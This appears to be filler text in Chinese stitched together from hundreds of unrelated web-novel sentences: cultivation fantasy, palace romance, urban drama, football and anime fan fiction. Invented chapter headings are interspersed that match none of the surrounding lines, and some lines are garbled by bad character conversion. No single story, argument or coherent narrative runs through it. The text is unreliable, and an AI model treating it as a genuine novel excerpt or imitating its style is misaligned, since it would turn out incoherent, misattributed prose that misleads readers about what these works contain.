华姐看到这里,也连忙上来帮忙,在华姐和爱德华两人的攻击之下,仅仅几分钟过后,那狼王就死的不能够在死了。 聂佑琳走后,李桐扫了眼手机屏幕里那些男人依旧残暴的动作,沉沉闭目。 只有这些谈妥之后,选址才算是成功,不过这也并不代表这件事情就这样确定了下来。 但是陈理自己是不信这些的,毕竟真要是信的,光他重生这事就没法解释。 年轻人几乎都玩电子游戏了,只有一些上了年纪的人会偶尔来买。 说着,许墨将这套除了武器戒指手镯耳环以外的整套装备,给到了赵凝思。 再加上陈理对于衣服的真伪程度了解的并不深,所以看走眼也是很正常的事情。 坐在沈氏旁边的穆子诚,已经握紧了手中的刀叉,暗暗发怒,却也不敢当着这么多人的面发作出来。 安澜并不知道它的族人们遭遇的巨大危险,此时的他才来到12地带。 第一卷 第22章 知识改变命运 “殿下,难道你忘了吗?当时南宫姜出征南下,便把这宫中的安全交给了臣管理保护,你说这令牌是不是在我这呢?”王丞相继续张狂说道。 “皇嫂……你说我怎么这么没用。”她紧紧攥着楚云轻不肯撒手。 “不应该是这样的。”凤昭然喃喃,可却记不起来了,到底应该是怎么样,但是记忆深处绝对不是这副样子。 “因为瑜姐姐害羞呀,不好意思向爹爹讨要礼物,也不许我向爹爹讨要礼物,还让我装睡,不让我见爹爹,我就喊救命,瑜姐姐就捂住我的嘴,不让我喊救命。”霍煜祺脆生生道。 比起皇上来,周述宣的所作所为她容易接受多了,至少周述宣做得事情还在人的范畴内。 在控制室内的李杪,用精神力察觉到百里枫往囚室方向跑去,知道自己在总控制室躲不了多久,而自己发出去的通讯也被再次拦截,皱眉,咬咬牙,开始寻找资料。 他将所有的东西整理了一下,在两个空间袋中还有一些衣物和银两,陈玄奇也不客气地收下了,将全部的东西都放进了吴逸的那个空间袋中。 这个组织遍布全世界,里面掺杂着佛,妖,魔,灵,仙,神以及其他奇奇怪怪的体系,类如蛊,毒,杀,巫这种体系。 宋显儿没有办法,只能将计就计顺势爬上楚流的床,假意怀了他的孩子,实则并非,楚云轻是慕容芙儿的孩子。 “胡说八道什么!”楚云轻厉吼一声,这男人莫名其妙的这般构陷她。 江宁的货运大道就是一条从二环到城外的大道,货运大道南面就是江宁河。 “周叔,让厨房把午膳端上来吧。。”连晴吩咐道,心里知道汐月这家伙八成都饿了。 林哲瞧得辰桐这一幕,心中不禁更加了几分防备,不过林哲也不是未战先怯之人,到手的宝物就在眼前,他怎么也得试一试,不然怎么会甘心。 “既然有一双眼睛,你就可以学习;既然有一双手,你就可以劳动。现在,你自己看到了吧,加上双腿和其它,大概值五千万吧;怎能说贫困呢!”老人微笑着说。 毕竟,如果按照上一次的建造速度,我们最少需要两天才能够建到这幅模样。 再怎么说到那时候,云岚宗若是要对付萧炎的话,他也能够帮忙。 最后这个纯玩就停在最底下的第7层了,他觉得第7层很安全很隐秘,而且一点也不憋闷反而很通风,而且还可以恒温。 程韵诗一愣,心里顿时火起。她费心费力,帮着这些人打跑了猎奴人,没有得到一句“谢谢”,反而遭了埋怨,换做任何人心里都不爽。 不是说哭的时候抬起头,眼泪就不会落下来,为何无论她怎么抬头都没有用。 汪月霞是个医生,对于儿子当兽医这件事,她一直觉得有些可惜,觉得兽医没有前途,现在看到林飞做出了成绩,她也是感到由衷的欣慰。 而此刻宋雨涵和段苏苏还在房间里面焦急不安的,她们不知道外面到底如何了,刚才她们在房间里面听到的那些鬼哭狼嚎的声音实在是太吓人了。 也就在这个时候,突然间有几头神格之境的魔兽浑身一颤,竟然在同一时间恶狠狠的朝着另一只魔兽看去,那头魔兽正是刚才对阿狸说话的魔兽。 “哼!他来就来!你以为我会怕他妈?”叶飞咬牙切齿,眼中闪过了一丝难以察觉的愤恨。 “林家夕,你有完没完?他帮了我们你还说他,良心被狗吃了吗?”林雨涵气急,直接喊出了林家夕的大名。 曙阳城中,一处人流围裹的空地前,萧炎等人赫然而立,此时此刻,在萧炎的身旁,一位身着白色袍服的俊朗青年,正笑吟吟的望着眼前之人,而此刻的前者,却是一脸难以置信的望着面前那微笑的俊朗青年。 剑茗一边冷笑着,同时,脚尖轻点地面,身形顿时暴掠上空,与萧炎齐平。 枭原本因为疼痛而颤抖的身体,忽然之间安静了下来,只是枭大口的喘着粗气,显然先前是憋着一股气,忍受着剧烈的痛苦。 许天对于手下的战斗力没有任何疑问,他现在担心的是渡海需要的大量船只问题,虽然在营口港这里缴获了不少敌军的船只,但还是完全不够的。 叶繁落听到这话脸色不禁一变,别人不知道叶繁落心里清楚得很,寒月乔在失忆之前和魔族之间可是有着很深的牵扯。 “我说!我是那磷火会的人。”那个男子,此时满脸惊恐的说道。 和赵峥这边交代完毕之后,刘芒便直接开车离开了这里,回到了京都市里面。来到京都市里面之后,刘芒第一个去的地方,便是立刻来到了他们的总部。 柳氏被送回了子午苑,醒来之后也没闲着,赶紧让人递了帖子给夏如烟,让夏如烟来府里一趟,商量一下秦素倾嫁妆的事儿。 “五行之力?这是什么意思?”刘芒继续问道,他不明白秋桐所说的到底是何意。 “原来是这样,那行,我知道了。走吧,你和我去一趟超市,我来帮你买些吃的,你想吃什么直接告诉我就行了。”刘芒满脸笑容的说道。 “孙胖子,你放轻松。并不是让你一次性就通过的。”刘芒也知道孙胖子心中的压力,便是立刻说道。 葛春满脸失望的望着梵清惠,刚想再次出言。就听到远处响起尖锐的啸声,同时一片喊杀声传来,梵清惠和葛春就是一惊。 第一卷 第23章 迷信害人,流言误人! “江源,刚刚洪教员跟我说你隐藏实力,用计谋害死了林云义,并且还要杀他,这可属实?”柳芷仪说道。 之前灵血真人得到血魔蛊之后就揣入了怀中,很多人并没有来的及仔细观察,只有青阳认出了那是血魔蛊,如今灵血真人如此郑重的又把血魔蛊取出来,不少人都看出了异常。 “不需要证明。你应该知道,她不是那样的人。周扒皮对她动过心思,有过企图,但自始至终没有得逞。 原来这条凤尾鸡冠蛇是被蛇婆和龙公追杀而来的,结果却被奥斯卡捡了便宜。 “哇呀呀!”韩毒龙一听顿时气得七窍生烟,随即大吼一声,再次出现庞大无比的黑龙真身。 “好了,奥斯卡,既然你已经获得了第三魂环,我们就走吧,星斗大森林太危险了,不适合你们久留。”赵无极说道。 就在这时,自从众修士开始争论之后便一直默不作声的水仙仙子身形一晃,便将张仲坚拦下。 夫易听后不由一愣,说起金圣叹的话,其实他们当时也没做什么,就是为他指了个疗伤的山洞,金毛狮王这么说,显然是想和他套近乎。 在上楼的过程中,她不停的绞尽脑汁,想着自己的周围还有什么人会产生这么大的作用? 两张黑手撞在一起,却是没有发出任何声响,反倒如此原就是一物一般,直接融合在了一起。 蠃政作为大秦的皇帝也不例外何况整个大秦是在攻灭六国的基础上建立起来的那些后延残喘的六国余璧无时无刻都想着颠覆大秦复国。 他总觉得墨楠北现在就像是某个为了学习半夜在宿舍厕所挥刀自宫的壮士。 毕竟虞家不过寻常人家而赢丹乃大秦储君,身为何等尊贵正妃之位,不只是一家之事而是国之大复! 走了大概三两步的距离,匕首就像是触碰到了什么,发出“噹”的一声脆响,好像是玻璃。 对方几种拳法也并不弱,将三种拳法合冶一炉,融会贯通,革故鼎新。 这几日赢丹可谓是足不沾地的忙碌,两人许久没有静静享受这般闲暇时刻。 大业助大禹治水有功。王是赐姓蠃氏,赢政看到这些旬子忍不住放声大笑起来。 ps:本卷完,完结撒花,权游到这里就算是告一段落了,兄弟们应该给予一波支持。 面对着尸堆,那些纸人和尸人竟然跪了下来,然后以头叩地,似乎在虔诚的跪拜着什么,在迎接着什么出世一般。 宋锦奕问宁凌雪留在这里还有别的目的吧,宁凌雪就让宋锦奕同意自己留在这里,此事她也会定夺,保证在规定期间内回去,宋锦奕便给她五日时间,宁凌雪点点头。 但是,叶辰对这种关心很无语,哪有这样坑儿子的,到底是不是亲生的? 此时此刻,他的脸上已经全然失去了以往那种睥睨天下的倨傲,没有一丝血色,眼中也神采不再,透出一片灰然。 工程机器人先后造出了类似地球科技的游艇、摩托艇等等水面交通工具,这让大家在远古星球玩得乐不思蜀,这里的一切都是那么安逸,那些凶猛的野兽因为没见过这些金属怪物都躲得远远地,让大家更是没有任何危机感。 对,没错我是收了别人的礼,但是那些事什么,都是自己家里做的东西没有花费多少钱。这样的礼物虽然轻可是大家的情谊我能感受到,这也算是乡里亲朋的一种善意的表达方式。 楚林峰抓住烈焰狼的尾巴后,体内的混沌龙力尽数的注入到手臂之中然后用力一甩,烈焰狼那庞大的身体竟然被楚林峰扔出了数十米的距离,将远处不少的树木砸断。 大年初二走亲串戚,这一天以三树桩的习俗就是到自家的亲戚家里走走串串,坐坐吃顿饭。胡耀和伊敏可谓是最受欢迎的人,在初一这个就收到了不少的邀请,可惜就两人不能分成几半了。 “那老大,咱们接下来该怎么办?”邢羌不由的问了一句,难道就此离开吗?可是如果就此离开的话,岂不是白来了一趟。虽然内心不甘心,但是他还是如此问道。 在许峰的印象里面,恐龙应该是光秃秃的,但实际上他看到的这只表皮却覆盖着类似羽毛一样一层薄薄的东西。 不过,极乐坊是个毒瘤,最好是能清除掉,就是不知叶辰是何意思,会不会对极乐坊下手。 华夏都开放二胎政策了,生第二个不罚款了,大叶子为啥不同意? 她还记得,上次顾珏清打蒙面人毫不费劲,没打几下蒙面人就开始连滚带爬。 那白西装男一愣,当他看清是李沫儿后,凝重的脸上马上放松下来,随即他张开双臂,拥抱住扑向他的李沫儿。 而蝶王也确实没听出来,他的注意力全都放在了‘不宜受刺激’这几个字上。 “也只能这样了。”陈枫非常无奈的说着,随即拖着沉重的脚步朝着客厅走去。 柳儿笑起来,眼睛弯弯的活像夜晚天边挂的新月,锦八搞起根本不能看见她的笑脸,一看见浑身就如同触电一般,口中好像也像是吃了什么毒药似的,结结巴巴的愣是说不说不上一句完整的话来。 第一卷 第24章 富贵险中求 也许是先前地下之城的老巢被剑仙派给掀了老巢,所以这珈蓝城戒备才会如此森严,几乎已经到了每一位来到珈蓝城的修真者都是他们监视的对象了。 张道然与恒空,此时在来这里的路上,辗转已经三天左右,在深山野林中,渡过了一个夜晚。 不过因为千兮确实是有错在先的前提下,愣是进厕所不得超过十分钟。 “乖,哄你玩呢,为夫去烧饭,你先歇一会。”林钊就是故意逗何瑶呢,见她这样,他竟然开心的笑起来。 顿时班上的人都是憋不住了,看着司琪满脸都是笑意,这一本正经的,还以为会说出什么来呢?结果来了这么一句?这不是搞笑呢嘛? 吏房与工房、礼房的主簿都带人下去送银钱了还没回,剩下的人要担起衙门里的事务也是很忙,如今见周先生回来,一个个都高兴得什么似的。 黑衣神武,毕竟是神武,他也毕竟是魂武八重,之前那万剑刺出,黑衣神武竟没有事,那时候方恒就知道杀他很难,好在的是这黑衣神武被他的境界惊到,选择了逃跑,这才给了他击杀的机会。 楚风御看着卧室门上的花纹,和抽屉上的如出一辙,难道关键在于这个花纹? 他四处望了望,这茫茫雪原,没有丝毫可供躲藏的地方,一咬牙,往那寒彻骨髓的雪地中一滚,化为一片雪花落在地上,并将法力灌注到脚上的流云靴中,全力隐藏气息。 玄公公这么一说,众人包括陈氏在内都纷纷跪了下来,柳玖儿被身后的碧兰拉了一把跪下,她发现刚才的自己无法正常做出跪下的动作,这又是怎么一回事? 但此时,秦民却做不到。白衣尊者知道,重建仙宫之时,必有惊天血战发生。 这正是妈妈的歌的魅力所在。我喜欢的歌谣永远都是英雄的传说,它们比任何诅咒都更强大。 看见电话是光头给我打来的,我就知道,光头那边应该是有了什么事情和消息,所以也没有怠慢,直接便接通了电话。 方言剧烈地咳嗽起来,完了,完了,仙子居然对他使用美人记,这说明,这个任务凶险异常,再说了,她是不认账,他也拿她没办法,还是算了。 “碧兰,我们也去看看那些出品的鞋子和手帕吧!有没有喜欢的花色,买些回家。”柳玖儿拉住听得认真的碧兰,她决定现在就离开。 “麻蛋,这屋子不会是假的吧。”胖子揉着自己被反震力震疼的手腕连声骂到。 不理会众人的嘲笑,艾笛自顾自的将粉末装入试管,再灌进一点冷水。 “好!”合肥工大教练一声惊叹,他为南大前腰10号的经常表现大声叫好! “他们两个再怎么争,毕竟是一个母妃生的亲兄弟,反观我们两个,一个早早没了娘,一个又是南唐嫁过来的,不受待见,也是自然而然的事。”赵篆继续挑明。 而嘴炮的长剑此时被肌肉组织包裹在手臂之中以肉眼可见的速度被吞噬。 同时他的身后长着两只多余的手臂,那两只手臂分别拿着刀子与盾牌。 现在全城感染瘟疫,她们这帮姑娘既要防备感染又要防止那些趁混乱强抢人的官兵。 池枫回头,对上池柠冷漠视线,侧了侧身,阻断张大胆落在池柠身上的视线。 此时的一大爷默默看向何雨柱,此时的何雨柱并没有想象中那么愤怒,从一开始何雨柱对秦淮茹就有隐瞒之意,没想到最后居然真的出现了这种事。 离末脑袋里嗡嗡作响,他也不知道自己的声音有没有变奇怪,因为嘴里充满了苦涩。 “是极是极,天辰师兄出关,想必大道精进,吾等正巧有诸多需要请教。”赵公明点了点头,看着陈天,眼神越发崇拜起来。 眨眼间的事,众人回过神来,崔行珏已经取过挂在瘦猴腰间的钥匙,把铁门打开了。 “怎么,你不愿意?”黎兮兮斜睨了叶长安一眼,带着一丝冷光,和一分轻视。 陛下烧得有些严重,她叫了半天也叫不醒,这样情形看来是不能按时去上朝了。 果然,一排排骑兵已经冲了过来,战士们将手榴弹奋力扔出,剧烈地爆炸声再次震撼着大地,人仰马翻,敌人骑兵损伤惨重,只能抛弃尸体撤了回去。 今早的鸣翼添了层层白雾,雾气缭绕之下,整座城若隐若现,朦胧又梦幻,在远处看,看不清距离远近。 潜崀宗,跟我关系熟的同辈人,除了清越,就只有端午师兄和师兄。而现在他们都走了。这场战争会持续很长时间,对世俗的人来说,这是无比重要的大事,他们当中很多人的命运也会因此而改变。 魔气凝成的龙鳞,一片片支离破碎,但根本不惧阵眼里面飞射出来的剑气。 所以,对我们来说反而是修仙资源更加重要。我们要更好的灵石,更好的丹药。 过了一会儿,师父服下去的丹药开始发挥作用,他脸色一阵青一阵红,片刻后咳嗽两声,缓缓睁开了眼睛。 不过,独眼还不敢下判断,真正给出定义的依然是血魔大人,他现在所要做的就是将李明关押起来。 第一卷 第25章 巨大的丰收 西汉姆联越是挣扎,在进攻端投入越多兵力的他们就越要承担巨量的防守风险。 江拾月其实也没数,她第一次做房地产,做调研也只知道一平方的成本大概在一百五十块。 一生品廉志高洁。”回忆起来,诸葛丞相为西蜀大业鞠躬尽瘁、呕心沥血直至死而后已的艰辛一生,无不令人心酸感慨。 蟒蛇扭动身体,褐色的鳞片密密麻麻形成纹路,看着看久了让人头晕眼花。 江拾月很清楚,许珂并不是异想天开,她比任何人都清楚手机这东西在未来有多普及。 刹时间,冰山雪地里,刀枪剑鸣,漫天雪花飞舞。白皑皑的雪地之上,时时撒下片片红色血迹。 苏青冥毕竟出身外院,无论是天赋,剑道理解,还是所修习的剑法都比沈沉濯差了太多。 “没有,我只是觉得这种级别的异兽太弱了,没有什么挑战性。”秦明如实回答,他现在几乎要突破二阶武者,斩杀一些不入流异兽自然简单。 这会围在球门附近的有李昂,练习点球扑救的阿丹,还有凑热闹的C罗和马塞洛。 关键是,因为那里是秘境演化而成的地方,拥有自己的规则,那里的高温和严寒,无法用灵力抵挡。 挂了王丛的电话,乔一媚思忖着,这么好的时机,一池春水等着她搅动了。 但凭着我对她的了解,反正觉得她不应该这样,这时候寒烟朝着我走了过来,这一走过来,我感觉寒烟也有些不正常,怎么说呢,她的身上,多了一种味道。 乔一媚使劲转动方向盘,希望车子不要撞到尚智,不然的话,自己做这些又有什么意义呢。 费以南望着宋如意眼眶中的眼泪,不停地来回打转,可是过了许久,就是不曾落下。现在的她坚强得让人心疼,偏偏她是这样一副宁死不屈的模样。费以南缓缓叹了一口气,好心好意的继续劝着她。 如果按照正常的思路,一般不肯离开的,都是心愿未了,不想就这么走了。 不过就想着白楚蝶后面有一个白丞相,这样他才会微微的不会动他,如果白丞相没有了,不可否认的,慕容司宸第一个就是拿着白楚蝶开刀,并且还是毫不留情的哪一种。 “这些三孙子,演完了之后,怎么吓得连门票钱也不过来收呢?哈哈!”另一个阴阳师的魂魄接着骂道。看到他们如此认为,我却不这么想。 “好,我知道了。”颜晴若挂了电话,开始想办法,她现在简直累极了。 “你们怎么来了?她没来?”楚慕没见到颜晴若心里不免有些失落。 这么一来,整桌菜就好像变成了儿童套餐的感觉,不过,费以南和裴奥婷并不在意这一点。费娇娇本想着要上楼把母亲叫过来,但转念一想,或许她已经睡着了,还是不去打扰了好。 蓝慕梅喜出望外,眼泪哗哗的流淌着,激动的冲着王长老大声疾呼,今天的局面给她这位蓝滕宫的掌舵人冲击实在是太大了,见到王长老将陈兵击杀后,终于松了一口气,喜极而泣。 “什么,逃脱,看你这么狼狈,难道是吃了不少苦头!”摩诃迦叶尊者阴沉道。 独远话语一落见曲之风视乎也是面露赞色,当即继续笑道“幽香扑鼻,不乏浓烈,回味之息,味之悠远,沁人心房!”随后一饮而尽。 如今石重仁风声水起,早非当年受冷落的皇子,刘家人再不敢像当初那般拿大,刘兴节时不时派人往王府送些东西,刘家几个表兄弟更是时常中王府串门,拉着石重仁一起走马斗狗。 感受到魔神的确彻底陨落之后,就算是云尘也缓缓的松了一口气,脸上露出了一丝笑容。 叶璇说着说着,内心开始摇摆起来,摇了摇头,下不了决心,丧失意识这个风险实在是太大了。 其实很简单,画出一边长十米的正方形,然后从中间隔开,两边人分别上场,一组十个,只要被雪球击中就算输,不许过中间的界限。 但却也就此刻,万劫谷第八层最外层的天空之上突然惊现一道急速御剑的白色身影。“嗖!”半空突然剑光一折,那道身影直接径向飞来。 “青龙组长,你说的那个天组荣誉长老到底回来了没有?要是再没回来的话,老夫可就要走了!”而就在这个时候,一道浑厚的声音却突然从屋外传来。 分灵法中说,奇灵超脱九品相, 意思是说七品七灵已经不能用简单的分灵法体系去区分,他们到达七品后,甚至可能拥有八品,以及传说九品的实力。 江流說著,索性把黑心白叟的屍骸向左近撥開,露出了背面的石壁。 “对于欧雅姑娘的伤,很是抱歉,欧雅姑娘不怪罪就好。”萧澈笑着回应道。 进入主营帐,言漠对着主动上前相迎的白大脚和金木桐拱了拱手,接着偏头一看,见一旁的闻将军和秦少将纹丝未动。 我家教主又不是要你去参见他,他才过来救你的,这些事儿都不急。”张真人的阐扬越佳,就越是让风氏部落首级对那一尊素未谋面的神秘教主的印象就越佳。 方裴南的话立马就得到了大伙的一致认同。看着纷纷做好准备,打算去告状的生产队队员们,周光彻底慌了。 只見他手臂壹揮,剎時發掘在了妮可羅賓身邊,右臂上頭另有壹道彎月形的沙刀幹脆向妮可羅賓的身段抹去。 只但是,当今的周默还对全部形势不太打听,为了让她更好的顺应接下来需要面临的这神切,叶宇还需要冥夜她神段光阴。 继续听不出情绪轻飘飘的挂把水弹全弄得浑身上下一阵不舒坦,仅有的那一丁点儿愧疚也丝毫不剩了,握紧了拳头,脸上分明有些气愤。 对于蓝羽的称谓,一时间所有人都惊掉了下巴,这一年时间到底发生了什么? 第一卷 第26章 命运的偶然 找了一个礼盒,把【戒备眼石】伪装成钻石戒指,送给了欧尼拉。 弓弩手与飞兔骑士进攻,被削减的非常多,基本都是个位数的伤害。 落在巨蟒身前不远处,李清峰取出“扰心铃”来轻轻晃了一晃,吸引巨蟒与他对视。 他才刚一开口,俞衡的眼睛就微眯起来瞥了过去,却没说话,要知道御鬼真人有些时候可是最重规矩的,余子华此番在其思考时出言打断,恐怕要惹得其不悦了。 短信是前两天的,那时候张明朗刚好在上海,发送的时间是凌晨两点多。 “洛大哥,我好想你,你有没有想我?”杨青萝眨着眼睛,开心一问。 韩凌荷爱上房旅霆,把自己把赵红都老婆变成了房旅霆老婆,基本不是什么意外事件,也不是谁故意设计了什么,而是水到渠成,为什么这么说呢? 那么,陈怀玺等男神的信息要到午夜发出,为什么王阳绯提前就知道了?王阳绯蘑菇着陈香肩死活不走,陈香肩禁不住她的软磨硬泡,就提前漏气了,将所有男神的信息提前发给了她。 第一句“自你离开以后从此就丢了温柔”刚唱完,下面就想起来一片掌声,这家伙果然逼近刀郎的唱功,沙哑而带有磁性的声音太像刀郎了。宋瑞庭不慌不忙继续唱下去,人们沉浸在音乐享受当中,纷纷打起节拍,欣赏下去。 这和李清峰在溶洞里接触到二阶灵脉所散发灵气时的反应相同,刚接触到的时候都会不适应,属于正常反应。 野兔和野鸡在一个价位上,稀罕吗?稀罕,但还不至于买不到,只是价格偏高,一般没哪支队伍一下能捉这么多。 之前养了一次鹧鸪鸡之后,每到冬季军部都会养,鹧鸪鸡蛋不好淘换,但总能出任务找到一些,再购买一些,冬季便让饲养师孵化。 放在平时,按我的性格,我会不屑地把银行卡扔给对方。可,我现在却不这么做,我把银行卡揣了起来。 次日,罗碧早早起床,跟着凤凌去了作战队指挥部,三个炉鼎搬出来,一个一个摆放到雷焰战士的炉鼎旁边,之后她又琢磨配方。 “无越,你回来了?”秦思月走道张无越身边,竭力控制自己激动的心情。同时,她又向白努力和简霞打了个招呼。见他们的儿子自个在远处的草地上玩,便没有理会,只把注意力,放在张无越身上。 “有什么不好嘛,我这不是担心你对林美潇做出什么不太好的事情嘛,更何况你这里这么多房间,一起住不是有意思嘛。”肖润雪好话说尽。 只是,一旦被鲛人和蛮族所统治,修士,凡人,该回怎么办?修士,还能存在吗? “许星你是不是去打商场里了,我看到你的车了你在几楼呢?”肖润雪问道。 在阳光的映照下,剪子泛着寒光。毛虎啥感觉我不知道,反正我就觉得下面一紧。 此时,百里君熠眼中除了眼前美色,哪里还看得到别的,抬手便将沈凝华的双手握入掌心,抬头向着沈凝华便吻了过去。 “天地无仁阵”早已激活,淡淡蓝色波纹笼罩了整个风临城,给众人带来了一丝丝安全感。杨庭众人悬于半空,看着乌角族大军,陷入了沉默。 说完,关楚绮也俏皮的在江璃珺脸上印上一个吻,便跑回了房间。 看到江璃珺的这个动作,索菲亚有些慌了,不知道自己接下来应该说点什么,她向来都看不懂江璃珺,更不明白他心里面想的是什么。 羽禾缓缓地走了过来,脸上的表情透着恐慌、害怕、愧疚、懊恼,像一盘放了百种药材的粥一样暗黑而酸涩,就连眉头都揪成了一个“苦”字。 这是叶宁的第一反应。他没有反对,斩春仙宫都不心疼,他着什么急? 尹司宸看着顾兮兮,自己已经按照她的意思去做了,她总该高兴了吧? 微风拂过我的脸庞,瞬间让我们感知,季节的变换。我们从来都不会因为季节的变换而影响我们的心情。 “顾念卿,我恨你”顾念欢闭上双眸,知晓玉玲已不是她所能掌控的了。 百里瑾川冷冷的扬起了扬唇角,拿着簪子的手慢慢抬起,将碧玉发簪稳稳地插回沈凝华的发髻之中。 “不用说这些,我们还是去开会。”北辰少主岔开话题,他不想和人讨论自己的修为。 在一片黑暗的房间中,上官芊悄悄地靠近床榻,看见床上紧闭着双眼躺着的上官月,她唇角微扬。 但是这几日南宫苏受了这么大的创伤,身心都未恢复,而且自己怎么又忍心雪上加霜呢?尤其是看到南宫苏的纯正无邪的微笑时,她都觉得自己于心不忍告诉南宫苏真相,那个男人会有多失望呢? 说完,罂粟已经踏上了黑色武装直升机,紧接着,直升机起飞,消失在猎人学校上空。 “清洛,席双。”龙慧儿眼里满是难以置信,只见龙宣敬点了点头。 所以目前市面上常见的结界,才只有单一的防护型,治疗型这种,而没有攻击防护型这种复合类型的。 时空断裂的时间已经到了,鸣人成功的扭转了战局,可鸣人并没有将铃铛夺过来。 “曼德,干嘛这么愤怒呀?很伤身体的哟。”一个很尖细的声音响了起来,随着这话音落下,一个穿着粉色连衣裙,摇着一把黑色折扇的黑色矮人走了过来。 葛佳丝塔芙来的时候还在疑惑为什么波克的大本营里空空的而且都躲在了灌木堆里,主要原因就是因为那两只灾厄鸦。 驴大人舍不得,依依不舍的看着凰龙雀,还想多温情脉脉的对视几眼。 秦知秋苦笑,“若是可以选择,我宁愿没有母亲。”世间哪个母亲会生下自己的孩子不管不问?等到二十多年后出现时却是冷漠的利用? 第一卷 第27章 这玩意儿能连发? “叔叔真的没别的意思……”胡子叔叔边说,边用手从牛畅洁白的大腿上滑了过去,像是不经意间的动作,但却充满了某种特殊的暗示。 而她就在他的怀中,感受到了他怀抱的温暖,还有一种深深的安全感。 “老子?你!哈,哈哈哈,我明白了,原来,你们早就商量好,此次封神劫,一起针对于我。你老子今日来,非为劝和,而是元始天尊的帮手,早知如此,方才何必惺惺作态?”通天大怒。 而另外一点,就是对方乃是处子之身,这第一次和第二次可是完全不一样的。 唐僧师徒几人,距离万寿山,越来越近了,三界里,风起云涌,一股阴霾,一种压抑,笼罩而下,大乘佛教众人,如临大敌。 这时,门终于打开了,光芒终于也慢慢淡了下去,表哥的身影显现了出来,但这时表哥却身体一颤,好像很吃惊一般。 “四少,你看我现在的穿着合适吗?要不合适,我再去换。”安妮露着妩媚的笑容,故意在容司睿面前转了一个圈,她对自己的身材非常有信心。 在这同时,也是神界之中,另一片浩大区域之中,有一神国,囊括无尽疆土,麾下百姓诸多,最中心之处,一座巨大城池,城池高空,有十九爪气运神龙,盘旋高卧,浑厚的气息散发开来。 顷刻,从一处侧面的山坳处,响起了喊杀声和锣鼓声,旌旗招展,尘土飞扬,一千的伏兵,从叛军的左侧数百米外冲出,烟尘滚滚,像是有数千人马一般。 白纤樚,抬眼看了看,自己一母同胞的亲姐姐。眼眶通红,眼角还挂着明显的泪痕,一派可怜相。 “我是蔓蔓,若是没有了树,藤蔓肯定也会死去的。”蔓蔓扬起一抹笑容,好好地躺在墨寒英身边,脸上带着满足的微笑。 符晓眼里闪过一丝赞叹,白弈真的是在武学上很有才情,木手对他来说,虽有弊但是也有利处。 再后来,他就无聊了,因为只要踩着油门,控制方向一直向前就行了,等它前面是泥土、沙子还是石头,直接冲就行了,甚至他还发生了几次交通事故,有几只地下动物,直接被江显洋横穿。 无数的邪神论成员被抓捕,拷问,之后又以狼人族为首,兽人高层对其进行了大清洗。 符晓打了个哈欠,里面太暖和了,让人忍不住想睡觉,她四仰八叉躺在毯子上,“后来还有人找我要,我都没有给。”她从怀里掏出来最后剩下的一副对联。 符晓连忙回敬,然后埋头假装吃饭来掩饰自己雀跃的神情,如果被人看出来的话,也太丢脸了。 二夫人絮絮叨叨说着,说到自己的大儿子,又忍不住抽出帕子抹了抹眼泪。 “退你个头!你可是我的仆人!难道不应该服侍我入寝吗?”大概是实在没有力气了,明世现在说话的语气缓和了许多。 谢湘把心一横,她自己没有关系,也不能让郡主和她一起被人看不起,她上前一步,握住符晓伸来的手。 萧炎调出语音对讲与语音播报,对着话筒说了句“原子弹!”等待着电脑的反应。 是若妤先灌醉了自己,而且王易天是几天前才能勉强下床,若妤的功夫自己虽然不愿承认但也是清楚,她自己躲不过,王易天会能救下? 两名队员用长杆把两具尸体拖出车来。仔细检查了上下,这才安心地坐了进去。除了头顶两块巨大的腐蚀洞孔,车辆非常完好。车辆的后方还找到了两把冲锋枪和一些弹药。 夏海桐感激地看着叶承志,然后在他的柔笑下开心地吃着这份早餐,当她吃完这份早餐时,她觉得自己终于活过来了。 虽然联军并不惧怕青螟佣兵团,但沒有必要的麻烦还是越少越好,与其等到双方翻脸,还不如一走了之,更何况联军成员先走了,这样也算是给艾德里安和昆廷留足了面子。 他脸『色』惨白,气若游丝,水池两旁的一台机器,十数根蛇状机械手臂,牢牢地把他固定在水中,让他不能动弹半分。 “好,好,遵命。”赵敢很听话的坐到了餐桌旁,吃了人生有史以来最不自在的一顿早餐。 雷舞梓的眼睛很亮,仿佛一下子就能看穿到人的心底,即便是赵敢也只感到心中一惊。心中有些莫名的感觉,具体的却又说不上来。 “你一路多保重,我们还会再见面的,那时,我们喝酒。”凌羽静静地说。 刘来福知道此时不能再问什么,只是微微地点头,就把目光转向了南方的战场。 在十六岁的时候,典风想在报了挖骨之仇与黑天的恩情之后,便与青素素相依一生,不争大道。 不过最让穆欣雨吃惊地还是对方是用了什么方法在数名天元境高手围攻下撑到魔剑长老赶去,而且在还有一名天元境中期的高手的存在。 慕容楚楚愣了下,看着居高临下地看着她的陈肖然,慕容楚楚眨了眨眸子。 知道自己老婆的出身,除了见识不凡之外,更不会在这种事情上面乱说,所以此时的柴远平,表情也是更加郑重的看了过来。 没有想到,如此一位实力强大的上三界强者,竟然会知道他们,并且开口第一句话,还是为了宽慰他们,在场包括性格有些乖戾的娄安琪,此时不禁在感动之余,也是长长的松了一口气。 “一个追随者罢了,又不是李然本人回来了,她喊我去干什么?”听到周友祥也不知道究竟,武岳军只好咬牙起床,只不过在洗漱之时,还是忍不住嘀咕了一句。 天空中,有飞虹遁致,未等段菲落地,便是打出一道法力化做成只巨手,将人给接住。空中,况佑荣现出身影,冷冷地看着云轻松。 第一卷 第28章 学习的重要性 只不过那种境界是天师中的翘楚才能够拥有的,就连上一世自己的师傅也没有达到那种程度。不过龙烟华相信,只要有足够的灵药辅助,她总有那么一天,只不过现在就靠这两三株五月草根本就是笑话。 说完,拉开手中枪的保险,拉膛上弹,对着上官惜月的后脑勺。此时林风才细细打量了一下上官惜月。 “喂。福生么。我是赵红军。”电话里传來派出所所长赵红军急促的声音。 “唐微微同学,教务处的导师找你。”杨琳一见唐微微到班上来,就迎了过来,笑道。 秋雨也被震的大惊失色,世子竟然喜欢男子,那岂不是说将来的侯府的接班人也要从二房那边过继,想到老夫人算计了这么多,最后竟然是这样的结果。 失败已成事实,狂神神话,并非那种放不下之人,点了点头立刻召集自己剩余的人朝着一个方向突去,而这剩下的几百狂神玩家,能够活到现在,绝对是狂神中精英的存在,杀BOSS不得志,杀气玩家来,那可是一个顶两。 而反观博派汽车人,真是人如其名,只能变汽车。速度方面落在最后实在是情有可原。 虽知是想赶走两人,冬雪和春花也没有办法,春花还好,能不忘记规矩的福了福身子,到是冬雪,一扭身子就走了,像谁欠了她的是的。 